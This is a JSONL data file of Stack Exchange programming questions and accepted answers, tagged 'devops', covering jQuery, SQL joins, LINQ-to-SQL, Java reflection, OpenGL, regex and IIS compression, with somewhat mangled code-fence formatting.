{"id": "hf_00a803bd6493", "question": "<p>I have a CSS class called grid which I place on my tables. I want to Zebra strip my even rows so I use the following jQuery code</p>\n\n<pre><code>$(\".grid tr:nth-child(even)\").addClass(\"even\");\n</code></pre>\n\n<p>This basically says \"Apply the css class even to any tr tag which has a parent (at any level) with a class of grid.\" The problem with this is when I have nested tables, the child table's tr tags will also get the even style. Since I did not specify the child table with a class of grid, I don't want it to pick up the zebra stripe. </p>\n\n<p>How can I specify to only apply the even class on tr tags which are a direct descendant of the tag which has the grid class?  </p>\n", "question_body": "", "answer": "You want to use a different selector, like the child selector:\n```\n```\n$(\".grid > tr:nth-child(even)\").addClass(\"even\");\n```\n```\nThis limits the selection to direct children your\n```\n.grid\n```\nonly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.605821"}
{"id": "hf_7b3c2ede0867", "question": "<p>I have an object created in a host application and can access it remotely using remoting, is there any way I can test the connection to ensure it is still \"alive\"? Maybe an event I can use that fires if the remoting connection gets disconnected, or some property that can tell me the state of the remoting connection.  Is there something like this available?</p>\n", "question_body": "", "answer": "I generally add another method to the remoting server MarshallByRef class,\n (I generally name it Ping(), as in:\n```\n```\npublic void Ping() {}\n```\n```\nthat does nothing, and returns nothing.. Then to \"test\" my connection, I call this method... If it throws a System.Net.Sockets.Exception,  I have lost the connection....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.666595"}
{"id": "hf_b140c434aa34", "question": "<p>Is there a way in Oracle to select the date on which daylight savings will switch over for my locale?</p>\n\n<p>Something vaguely equivalent to this would be nice:</p>\n\n<pre><code>SELECT CHANGEOVER_DATE\nFROM SOME_SYSTEM_TABLE\nWHERE DATE_TYPE = 'DAYLIGHT_SAVINGS_CHANGEOVER'\n  AND TO_CHAR(CHANGEOVER_DATE,'YYYY') = TO_CHAR(SYSDATE,'YYYY');  -- in the current year\n</code></pre>\n\n<p><em>Edit: I was hoping for a solution that would not require changes when Congress adjusts DST laws, as they did in 2007.  The posted solutions will work, though.</em></p>\n", "question_body": "", "answer": "In the United States, Daylight Savings Time is defined as beginning on the second Sunday in March, and ending on the first Sunday in November, for the areas that observe DST, for years after 2007.\nI don't think there's an easy way to get this information from Oracle, but based on the standard definition, you should be able to write a stored procedure that calculates the beginning and ending date using the\nDoomsday Algorithm\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.735866"}
{"id": "hf_5477f95cfafe", "question": "<p>I have the following code, I'm trying to get a table with 4 columns across. If I run out of columns, create a new row and make 4 more coumns. rinse. lather. repeat.</p>\n\n<pre><code>&lt;tbody&gt;\n&lt;%\nint i = 0;\nforeach (ItmXtnMultimedia multimedia in ViewData.Model.ItmXtnMultimedia) {\n  if (i%4 == 0 &amp;&amp; i== 0)\n  {\n    %&gt;&lt;tr&gt;&lt;%\n  }\n  if (i%4 == 0 &amp;&amp; i != 0)\n  {\n    %&gt;&lt;/tr&gt;&lt;tr&gt;&lt;%\n  }\n  %&gt;                    \n  &lt;td&gt;&lt;%= multimedia.ImgTag100 %&gt;&lt;/td&gt;                            \n  &lt;%\n  i++;\n  } %&gt;                    \n</code></pre>\n\n<p></p>\n\n<p>It works, but it sucks. Is there something built in to the framework or an extension method I can use? I guess I could roll my own, but figured there had to be something out there.</p>\n", "question_body": "", "answer": "You should replace the second if with else if.. Other than that, it's okay.\n```\n```\nforeach (ItmXtnMultimedia multimedia in ViewData.Model.ItmXtnMultimedia) \n{\n  if (i%4 == 0 && i== 0)\n  {\n      %><tr><%\n  }\n  else if (i%4 == 0 && i != 0)\n  {\n      %></tr><tr><%\n  }\n  %><td><%= multimedia.ImgTag100 %></td><%\n  i++;\n}%>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.793140"}
{"id": "hf_11b4b075c152", "question": "<p>I have a rather simple scenario where I have two tables in which I want to add data. They are managed with primary key/foreign key. I want to add new data into TABLE A and then retrieve the Id and insert into TABLE B. </p>\n\n<p>I can certainly do it with a stored procedure, but I'm looking at trying to do it using Linq. </p>\n\n<p>What is the best approach ? </p>\n\n<p>I can certainly get the ID and do two separate inserts but that doesn't certainly seem to be a very good way of doing things.</p>\n\n<pre><code>db.Table.InsertOnSubmit(dbObject);\ndb.SubmitChanges();\n\nInt32 id = dbOject.Id;\n\n//Rest of the code\n</code></pre>\n\n<p>Any way to elegantly do this?</p>\n", "question_body": "", "answer": "Do you have the relationship defined between the 2 tables in the object relational designed? If so, you can have linq take care of assigning the ID property of the second table automatically.\nExample...\nTable A – Order\nOrderId\nOrderDate\nTable B – Order Item\nOrderItemId\nOrderId\nItemId\nCode (Using LINQ-to-SQL):\n```\n```\nOrder order = new Order();\nOrder.OrderDate = DateTime.Now();\ndataContext.InsertOnSubmit(order);\n\nOrderItem item1 = new OrderItem();\nItem1.ItemId = 123;\n//Note: We set the Order property, which is an Order object\n// We do not set the OrderId property\n// LINQ will know to use the Id that is assigned from the order above\nItem1.Order = order;  \ndataContext.InsertOnSubmit(item1);\n\ndataContext.SubmitChanges();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.843793"}
{"id": "hf_89c706086b1c", "question": "<p>This seems like a very simple and a very common problem. The simplest example I can think of is this:</p>\n\n<p>The form has five checkboxes with a \"check all/check none\" checkbox above them. When a user selects checking all checkboxes, I toggle the states of the \"children\" - obviously I don't want to fire the check events of all the children until I am done setting all of the checkboxes.</p>\n\n<p>I can't find a form-wide suspend control event. If I'm simply missing it then great simple answer. Barring a simple solution that I am just missing, what is the best way (best practice? accepted solution?) to suspend form control events?</p>\n", "question_body": "", "answer": "From your other question, I'm going to guess you're using VB .NET.  So, RemoveHandler is your best bet.  Normally in VB people set up event handlers using the Handles clause.  But you can also do it this way:\n```\n```\nAddHandler chk1.CheckedChanged, AddressOf DoSomething\n```\n```\nwhere DoSomething might look like this:\n```\n```\nPrivate Sub DoSomething(ByVal sender As Object, ByVal e As EventArgs)\n    ' whatever\nEnd Sub\n```\n```\nAddHandler wires up the event, so it'll fire.  To get it not to fire, use RemoveHandler:\n```\n```\nRemoveHandler chk1.CheckedChanged, AddressOf DoSomething\n```\n```\nBefore updating the Checked property of your child checkboxes, call RemoveHandler on each of them; then when you're done, call AddHandler to put the event handlers back.  If all your checkboxes use the same handler, you can put them in a collection and loop through the collection to add or remove the handlers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.867659"}
{"id": "hf_9c87b22002c5", "question": "<p>Is it safe to use MS SQL's WITH (NOLOCK) option for select statements and insert statements if you never modify a row, but only insert or delete rows?</p>\n\n<p>I..e you never do an UPDATE to any of the rows.</p>\n", "question_body": "", "answer": "If you're asking whether or not you'll get data that may no longer be accurate, then it depends on your queries. For example, if you do something like:\n```\n```\nSELECT\n     my_id,\n     my_date\nFROM\n     My_Table\nWHERE\n     my_date >= '2008-01-01'\n```\n```\nat the same time that a row is being inserted with a date on or after 2008-01-01 then you may not get that new row. This can also affect queries which generate aggregates.\nIf you are just mimicking updates through a delete/insert then you also may get an \"old\" version of the data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.891862"}
{"id": "hf_a8eb5eee91ba", "question": "<p>If a hacker has access to the hashes in my DB, he has access to the rest of the information in the DB anyways. So why would he bother trying to decrypt the passwords? Should I be storing the passwords on a different server to the rest of my data? That is the only scenario in which I can envision it being useful. </p>\n", "question_body": "", "answer": "Sometimes a hacker doesn't get full access to your DB.  Sometimes they find a little SQL injection hole or other weakness that someone didn't code correctly, and so they can only do simple things at first like print out database cells one at a time.  If they can print out a real password all of  a sudden things get much worse.\nThings happen: backup tapes are lost, accidentally thrown away, or stolen. A retired system wasn't wiped properly. A breach elsewhere leads to accidental exposure of a database. If a hacker gets access to a snapshot like this he can learn a lot about your system.  But if the passwords are still hashed he can't also use the system to do something malicious, like log in as a different user and start changing things.\nI've heard that most hacks are an inside job.  Better to remove the ability even for people you trust to log in as others.\nIt's not about just you. Users tend to share passwords across systems. Maybe some day (God forbid) you have a breach that has nothing to do with passwords, but in the course of that breach your authentication tables will be one of the attacker's targets. If you store passwords in plain-text, you have also just compromised user accounts at many other services, and your very bad day just got quite a lot worse.\nIf you think this kind of thing doesn't happen, go talk to the guys at reddit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.917964"}
{"id": "hf_1f93bcea4494", "question": "<p>I use an sql server regularly and have recently been getting frustrated by the performance. It would be difficult for me to get direct access to find out the hardware so:</p>\n\n<p>Is there a direct way in management studio to assess performance or find out the exact hardware.</p>\n\n<p>Alternatively does someone have a set of test sql procedures I could try and ideally compare to other results to get an idea of it's performance.</p>\n\n<p>So far I have setup a few quick queries on my local machines sql express server just as test these seem to run quicker than the sql server on the network which is meant to be high performance although no one knows when it was last upgraded I have a feeling it hasn't been for 6 or 7 years. Obviously these test don't account for the possibility of others querying at the same time or network transfers of results... Hopefully someone has a better solution.</p>\n", "question_body": "", "answer": "You can't just ask your server guys? Seems like there's a fair bit of mistrust if you can't get hardware metrics. Count of CPUs, total memory, etc.\nIf there's that amount of mistrust, even if you found the answer from the database server, rectifying it would be impossible. If you can't get the current parameters, how could you get a change of hardware passed the server guys?\nStart building rapport. The best line in the world to get someone on your side is, \"I'm in trouble and I need your help...\" You've elevated them and subjugated yourself, you've put them in a position to save you. You'd be amazed at how much you can get out of people that way.\nAs far as standard queries. You could look at\nTPC\nqueries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.941420"}
{"id": "hf_7bf8a3c50272", "question": "<p>I have a right outer join, that almost does what I want...</p>\n\n<pre><code>SELECT\nusers_usr.firstname_usr,\nusers_usr.lastname_usr,\ncredit_acc.given_credit_acc,\nusers_usr.created_usr,\nusers_usr.sitenum_usr,\nusers_usr.original_aff_usr,\nusers_usr.id_usr\nFROM\ncredit_acc\nright Outer Join users_usr ON credit_acc.uid_usr = users_usr.id_usr\n</code></pre>\n\n<p>The problem is, I want to add a </p>\n\n<pre><code>where credit_acc.type_acc = 'init'\n</code></pre>\n\n<p>But this gets rid of all users who don't have a row in credit_acc... which is WHY I need a right outer join.</p>\n\n<p>Is there a way to get this without having to do two queries and a union?</p>\n", "question_body": "", "answer": "```\n```\nSELECT\nusers_usr.firstname_usr,\nusers_usr.lastname_usr,\ncredit_acc.given_credit_acc,\nusers_usr.created_usr,\nusers_usr.sitenum_usr,\nusers_usr.original_aff_usr,\nusers_usr.id_usr\nFROM\ncredit_acc\nright Outer Join users_usr ON credit_acc.uid_usr = users_usr.id_usr\nWHERE credit_acc.type_acc = 'init' OR credit_acc.type_acc is NULL\n```\n```\nOr, as @Tomalak pointed out:\n```\n```\nWHERE COALESCE(credit_acc.type_acc, 'init') = 'init'\n```\n```\nwhich\nmay\nbe faster (see comments).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.966803"}
{"id": "hf_d6a84b1a30bc", "question": "<p>Is it possible to do  a \"C like\" fork in java, using an new independent jvm process ?</p>\n\n<p>How?</p>\n", "question_body": "", "answer": "Funnily, I am just working on this: a Java process running other Java processes. I used the article\nFrom Runtime.exec() to ProcessBuilder\nas a solid base, and\nWhen Runtime.exec() won't\nas a good advice how to gobble the output streams.\nPS.: For those wondering, I had to do that (instead of spawning new threads) because yet another Java process is checking the presence of these processes which are, normally, ran separately with shell commands.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.003936"}
{"id": "hf_ab31d8d99bba", "question": "<p>I want to discover at run-time ONLY the static Methods of a class, how can I do this?\nOr, how to differentiate between static and non-static methods.</p>\n", "question_body": "", "answer": "Use\n```\nModifier.isStatic(method.getModifiers())\n```\n.\n```\n```\n/**\n * Returns the public static methods of a class or interface,\n *   including those declared in super classes and interfaces.\n */\npublic static List<Method> getStaticMethods(Class<?> clazz) {\n    List<Method> methods = new ArrayList<Method>();\n    for (Method method : clazz.getMethods()) {\n        if (Modifier.isStatic(method.getModifiers())) {\n            methods.add(method);\n        }\n    }\n    return Collections.unmodifiableList(methods);\n}\n```\n```\nNote: This method is actually dangerous from a security standpoint. Class.getMethods \"bypass[es] SecurityManager checks depending on the immediate caller's class loader\" (see section 6 of the Java secure coding guidelines).\nDisclaimer: Not tested or even compiled.\nNote\n```\nModifier\n```\nshould be used with care. Flags represented as ints are not type safe. A common mistake is to test a modifier flag on a type of reflection object that it does not apply to. It may be the case that a flag in the same position is set to denote some other information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.026725"}
{"id": "hf_e19e3c855287", "question": "<p>In OpenGL I'm trying to rotate a camera around a point, with camera being distance r from the point and facing the point when it rotates.  In other words, I want the camera to move along the circumference  of a circle at a radius r from the center, with the camera facing the center at any point along the circumference.</p>\n\n<p>Lets say that in 3d space the center of the circle is (3, 0, 3);</p>\n\n<p>I've tried:</p>\n\n<pre><code>// move to center of circle    \nglTranslatef(-3, 0, -3)\n// move a distance away from the circle\nglTranslatef(0, 0, r);\n// rotate along the y \"up\" axis\nglRotatef(CameraAngle, 0, 1, 0);\n</code></pre>\n\n<p>where CameraAngle is the degrees being moved around the circle.</p>\n\n<p>My end result is the camera is still rotating along the origin, not the center of the circle.  Can anyone help me fix this problem?  Thanks!</p>\n", "question_body": "", "answer": "You need to either:\nrotate the camera around the origin and then translate it (*)\nor:\nuse\n```\ngluLookAt\n```\nto keep the camera pointing at the center of the circle\n(*) rotation functions normally rotate about the origin.  To rotate around another point\n```\nP\n```\nyou have to:\ntranslate(-P)\nrotate\ntranslate(P)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.061778"}
{"id": "hf_2bcb4de408c2", "question": "<p>How do I create tabbed navigation with the \"Current\" tab highlighted in the UI?</p>\n", "question_body": "", "answer": "Before MVC I looked at the file path and figured out which tab was currrent. Now it's a lot easier, you can assign the current tab based on the current controller.\nCheck it out ...\nMost of the work happens in the usercontrol.\n```\n```\npublic partial class AdminNavigation : ViewUserControl\n{\n    /// <summary>\n    /// This hold a collection of controllers and their respective \"tabs.\" Each Tab should have at least one controller in the collection.\n    /// </summary>\n    private readonly IDictionary<Type, string> dict = new Dictionary<Type, string>();\n\n    public AdminNavigation()\n    {\n        dict.Add(typeof(BrandController), \"catalog\");\n        dict.Add(typeof(CatalogController), \"catalog\");\n        dict.Add(typeof(GroupController), \"catalog\");\n        dict.Add(typeof(ItemController), \"catalog\");\n        dict.Add(typeof(ConfigurationController), \"configuration\");\n        dict.Add(typeof(CustomerController), \"customer\");\n        dict.Add(typeof(DashboardController), \"dashboard\");\n        dict.Add(typeof(OrderController), \"order\");\n        dict.Add(typeof(WebsiteController), \"website\");\n    }\n\n    protected string SetClass(string linkToCheck)\n    {\n        Type controller = ViewContext.Controller.GetType();\n        // We need to determine if the linkToCheck is equal to the current controller using dict as a Map\n        string dictValue;\n        dict.TryGetValue(controller, out dictValue);\n\n        if (dictValue == linkToCheck)\n        {\n            return \"current\";\n        }\n        return \"\";\n    }\n}\n```\n```\nThen in your .ascx part of the usercontol call into the SetClass method to check the link against the dict. Like so:\n```\n```\n<li class=\"<%= SetClass(\"customer\") %>\"><%= Html.ActionLink<CustomerController>(c=>c.Index(),\"Customers\",new{@class=\"nav_customers\"}) %></li>\n```\n```\nAll you need now is the CSS to highlight your current tab. There are a bunch of different ways to do this, but you can get started with some ideas here:\nhttp://webdeveloper.econsultant.com/css-menus-navigation-tabs/\nOh, and don't forget to put the usercontrol on your page (or MasterPage) ...\n```\n```\n<% Html.RenderPartial(\"AdminNavigation\"); %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.095541"}
{"id": "hf_e737e8e63d37", "question": "<p>I'm using this simple regular expression to validate a hex string:</p>\n\n<pre><code>^[A-Fa-f0-9]{16}$\n</code></pre>\n\n<p>As you can see, I'm using a quantifier to validate that the string is 16 characters long. I was wondering if I can use another quantifier in the same regex to validate the string length to be either 16 or 18 (not 17).</p>\n", "question_body": "", "answer": "```\n```\n^(?:[A-Fa-f0-9]{16}|[A-Fa-f0-9]{18})$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.119216"}
{"id": "hf_ae98a3668e46", "question": "<p>I'm using IIS 6 with EPiserver CMS which requires all requests to go through aspnet_isapi.dll.</p>\n\n<p>I want to gzip all my static files (js, css mainly). Trying to setup compression in IIS didn't work.</p>\n\n<p>Is there a setting in EPiServer that will allow me to achieve this? \nCan .net framework compress files automatically?</p>\n", "question_body": "", "answer": "You'll need to configure the html extension in the IIS metabase\nas a dynamically compressed extension\n. You are probably  treating it as a static page. If the .js and .css extensions are mapped to aspnet_isapi they are considered as dynamic pages.\nThe setting in\nmetabase.xml\nshould look like this:\n```\n```\nHcScriptFileExtensions=\"asp\ndll \nexe \njs\ncss\"\n```\n```\nDon't forget to remove the extensions from\n```\nHcFileExtensions\n```\n(for static files) if you inserted them there before.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.182573"}
{"id": "hf_1561b5421379", "question": "<p>I am looking for any best practices or ideas on how you would create an interface with a DB from a .NET web application to upload data from Excel files\nShould I use a mechanism that allows all the records to be loaded and flags the errors or should I use a mechanism that stops the load when an error occurs.</p>\n\n<p>I've never had to deal with this type of requirement before so any help would be super!</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "do you want to put the excel files in the DB as a blob? or do you want to parse the files and put the records in the files into the db?\nI'm assuming it is the latter.\nAs a user I'd like to have the option to know what the errors are so I can fix them and try again. I think how I try again depends on how much data I'm uploading.\nI'd try to do a hybrid solution .. if there are only a few errors show a screen to correct those errors so the user can move on quickly. If there are a ton of errors you should just can it and have the user try all over again.\nAs far as the DB. Either have a separate table that uploads go into until they are checked and get with your \"real\" data, or have a UploadUniqueId column so you can roll-back any upload without much fuss.\ndelete tableName where UploadUniqueId = 'GUID'", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.209095"}
{"id": "hf_1778eaab190b", "question": "<p>I thought this code would work, but the regular expression doesn't ever match the \\r\\n. I have viewed the data I am reading in a hex editor and verified there really is a hex D and hex A pattern in the file.</p>\n\n<p>I have also tried the regular expressions /\\xD\\xA/m and /\\x0D\\x0A/m but they also didn't match.</p>\n\n<p>This is my code right now:</p>\n\n<pre><code>   lines2 = lines.gsub( /\\r\\n/m, \"\\n\" )\n   if ( lines == lines2 )\n       print \"still the same\\n\"\n   else\n       print \"made the change\\n\"\n   end\n</code></pre>\n\n<p>In addition to alternatives, it would be nice to know what I'm doing wrong (to facilitate some learning on my part).  :)</p>\n", "question_body": "", "answer": "```\n```\nlines2 = lines.split.join(\"\\n\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.234218"}
{"id": "hf_5f31c496a580", "question": "<p>I am using an ancient version of Oracle (8.something) and my ADO.NET application needs to do some fairly large transactions. Large enough to not fin in our small rollback segments. Now we have a large rollback segment as well but it is not used by default.</p>\n\n<p>Oracle has a command to select the rollback segment to be used (<code>SET TRANSACTION USE ROLLBACK SEGMENT MY_ROLLBACK_SEGMENT</code>) but it needs to be the first command issued in the transaction. Unfortunately, it seems that ADO.NET issues some other commands at the beginning of a transaction since issuing this command right after .BeginTransaction() throws an error about SET TRANSACTION not being the first command.</p>\n\n<p>I am sure I am not the only one who faced this issue. How do you solve it or how would you get around it?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "If this is a 'one-off' requirement then one solution is to put the other rollback segments offline while you run your transactions then put them online when you've finished;\n```\n```\nALTER ROLLBACK SEGMENT <name> OFFLINE;\n\nALTER ROLLBACK SEGMENT <name> ONLINE;\n```\n```\nOtherwise make all the rollback segments the same size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.306186"}
{"id": "hf_c6fb883098c9", "question": "<p>Recently an application I wrote started not working on Internet Explorer. There has been no change to the underlying (ruby on rails) code.</p>\n\n<p>In IE 6 or IE 7, I can make one request (HTTP Post) to the app, but when I try to make a 2nd  request, I get an \"Operation Aborted\" message. Everything works fine in firefox. The HTTP Request and Response headers are exactly the same. The response header for the correct and incorrect results both have the same content-length (about 104k). The correct response has the full content, but the incorrect response has the content cut off after bout 40k. (So about 65k of the response is just gone.)</p>\n\n<p>The even trickier thing is that if I use the IP address instead of the domain name to make the request, everything works great.</p>\n\n<p>This is an apache2 web server.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "You could try to debug the issue using\nFiddler\n. It's free HTTP Proxy tool for Internet Explorer.\nIt lists every detail of the request and response. Maybe you can see the actual cause of that behaviour inspecting the whole HTTP traffic.\nHope this helps!\nalt text http://i.msdn.microsoft.com/Bb250446.ie_introfiddler_fig04(en-us,VS.85).gif", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.354602"}
{"id": "hf_0b1636aef2c3", "question": "<p>I'm working with an existing Java codebase which, while it can be invoked from an HTML page using an &lt;APPLET&gt; tag, does not actually subclass the Applet class. The same jars are also used in a non-browser context, so they did not subclass Applet.</p>\n\n<p>Now I need to communicate some values from Java back to the Javascript of the invoking page. Normally one would do this using JSObject, but so far as I can one has to use JSObject.getWindow which only works for subclasses of Applet.</p>\n\n<p>Is there either:</p>\n\n<ul>\n<li>a way to use JSObject from something which isn't an Applet subclass?</li>\n<li>some other mechanism to communicate back to the Javascript of the invoking page?</li>\n</ul>\n", "question_body": "", "answer": "Call\n```\nJSObject.getWindow(this)\n```\nin the applet. Then pass the\n```\nJSObject\n```\ninto the code that needs it in the usual fashion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.381603"}
{"id": "hf_36522d0ab36a", "question": "<p>I am creating a form in HTML that will be printed, with fields that need to be written in by the recipient. Basically what I want is a single line that stretches from the end of the field label to the side of the page. Here's how I'm doing it right now:</p>\n\n<pre><code>&lt;table width=\"100%\"&gt;\n    &lt;tr&gt;\n        &lt;td width=\"1%\"&gt;\n            Label:\n        &lt;/td&gt;\n        &lt;td style=\"border-bottom-style:solid; border-bottom-width:1px;\"&gt;\n            &amp;nbsp;\n        &lt;/td&gt;\n    &lt;/tr&gt;\n&lt;/table&gt;\n</code></pre>\n\n<p>This works, but there must be an easier way to do this without needing a whole table element. Any ideas?</p>\n", "question_body": "", "answer": "How about using the span tag?\n```\n```\n<span style=\"border-bottom....\">Text</span>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.449702"}
{"id": "hf_95beb6a0c9e5", "question": "<p>If you have to use String.Replace() to replace test 50 times, you essentially have to create a new string 50 times.  Does StringBuilder.Replace() do this more efficiently?  E.g., should I use a StringBuilder if I'm going to be replacing a lot of text, even while I won't be appending any data to it?</p>\n\n<p>I'm using .NET, but I assume this would be the same as Java and possibly other languages.</p>\n", "question_body": "", "answer": "Yes, it is.\n```\nString.Replace\n```\nalways creates a new string –\n```\nStringBuilder.Replace\n```\ndoesn't.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.486560"}
{"id": "hf_8298fd5148d8", "question": "<p>Is there an API to access Subversion from C#?</p>\n", "question_body": "", "answer": "Check\nSubversionSharp\n, its basically a C# wrapper library that fully covers the client API of Subversion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.561621"}
{"id": "hf_d32ad04d38ee", "question": "<p>I'm trying to come up with a reusable JS or jQuery function that would allow me to test if one object is a DOM descendant of another. </p>\n\n<p>I've seen a model of testing for </p>\n\n<pre><code>$b.parents('nodename').length&gt;0\n</code></pre>\n\n<p>Which is fantastic when you only need to check if an element is a child of any node by that name.</p>\n\n<p>But what about a specific node? You can't test</p>\n\n<pre><code>$b.parents($a).length&gt;0\n</code></pre>\n\n<p>Because jQuery parents takes a nodename expression as an argument to filter.</p>\n\n<p>As a little background, I'm trying to test if a document click event's target is a child of a specific object. For instance, if the event.target is a child of $b, return true, otherwise, return false. But this function could have other implications later on.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Try this:\n```\n```\n$('#foo').filter(function(){\n\n   return $(this).parent().is('#foo-parent');\n\n});\n```\n```\nSo here we are selecting all the foo elements and then filtering only the elements that have the foo-parent as their immediate parent.\nIf you are looking to find if the any of the ancestors of the current object comply to the rule, then I guess it should be:\n```\n```\n$('#foo').filter(function(){\n\n   return $(this).parents().is('#foo-parent');\n\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:17.598113"}
